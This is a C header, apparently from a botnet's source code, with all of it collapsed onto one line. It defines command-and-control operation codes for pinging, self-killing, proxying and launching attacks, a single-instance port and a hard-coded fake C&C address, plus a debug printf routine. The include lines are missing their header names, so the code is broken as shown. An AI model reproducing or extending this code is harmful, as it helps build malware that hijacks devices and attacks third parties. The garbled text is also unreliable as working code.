#pragma once #include #include #include #define STDIN 0 #define STDOUT 1 #define STDERR 2 #define FALSE 0 #define TRUE 1 typedef char BOOL; typedef uint32_t ipv4_t; typedef uint16_t port_t; #define INET_ADDR(o1,o2,o3,o4) (htonl((o1 << 24) | (o2 << 16) | (o3 << 8) | (o4 << 0))) #define SINGLE_INSTANCE_PORT 48101 #define FAKE_CNC_ADDR INET_ADDR(65,222,202,53) #define FAKE_CNC_PORT 80 #define CNC_OP_PING 0x00 #define CNC_OP_KILLSELF 0x10 #define CNC_OP_KILLATTKS 0x20 #define CNC_OP_PROXY 0x30 #define CNC_OP_ATTACK 0x40 ipv4_t LOCAL_ADDR; #ifdef DEBUG static char *outptr; static void xputc(char c) { if (outptr) { *outptr++ = (unsigned char)c; return; } else { write(0, &c, 1); } } static void xputs(const char *str) { while (*str) xputc(*str++); } static void xvprintf(const char *fmt, va_list arp) { unsigned int r, i, j, w, f; unsigned long v; char s[16], c, d, *p; for (;;) { c = *fmt++; /* Get a char */ if (!c) break; /* End of format? */ if (c != '%') { /* Pass through it if not a % sequense */ xputc(c); continue; } f = 0; c = *fmt++; /* Get first char of the sequense */ if (c == '0') { /* Flag: '0' padded */ f = 1; c = *fmt++; } else { if (c == '-') { /* Flag: left justified */ f = 2; c = *fmt++; } } for (w = 0; c >= '0' && c <= '9'; c = *fmt++) /* Minimum width */ w = w * 10 + c - '0'; if (c == 'l' || c == 'L') { /* Prefix: Size is long int */ f |= 4; c = *fmt++; } if (!c) break; /* End of format? */ d = c; //toupper if (d >= 'a') d -= 0x20; switch (d) { /* Type is... */ case 'S' : /* String */ p = va_arg(arp, char*); for (j = 0; p[j]; j++) ; while (!(f & 2) && j++ < w) xputc(' '); xputs(p); while (j++ < w) xputc(' '); continue; case 'C' : /* Character */ xputc((char)va_arg(arp, int)); continue; case 'B' : /* Binary */ r = 2; break; case 'O' : /* Octal */ r = 8; break; case 'D' : /* Signed decimal */ case 'U' : /* Unsigned decimal */ r = 10; break; case 'X' : /* Hexdecimal */ r = 16; break; default: /* Unknown type (passthrough) */ xputc(c); continue; } /* Get an argument and put it in numeral */ v = (f & 4) ? va_arg(arp, long) : ((d == 'D') ? (long)va_arg(arp, int) : (long)va_arg(arp, unsigned int)); if (d == 'D' && (v & 0x80000000)) { v = 0 - v; f |= 8; } i = 0; do { d = (char)(v % r); v /= r; if (d > 9) d += (c == 'x') ? 0x27 : 0x07; s[i++] = d + '0'; } while (v && i < sizeof(s)); if (f & 8) s[i++] = '-'; j = i; d = (f & 1) ? '0' : ' '; while (!(f & 2) && j++ < w) xputc(d); do xputc(s[--i]); while(i); while (j++ < w) xputc(' '); } } static void xprintf(const char *fmt, ...) { va_list arp; va_start(arp, fmt); xvprintf(fmt, arp); va_end(arp); } #define printf xprintf #endif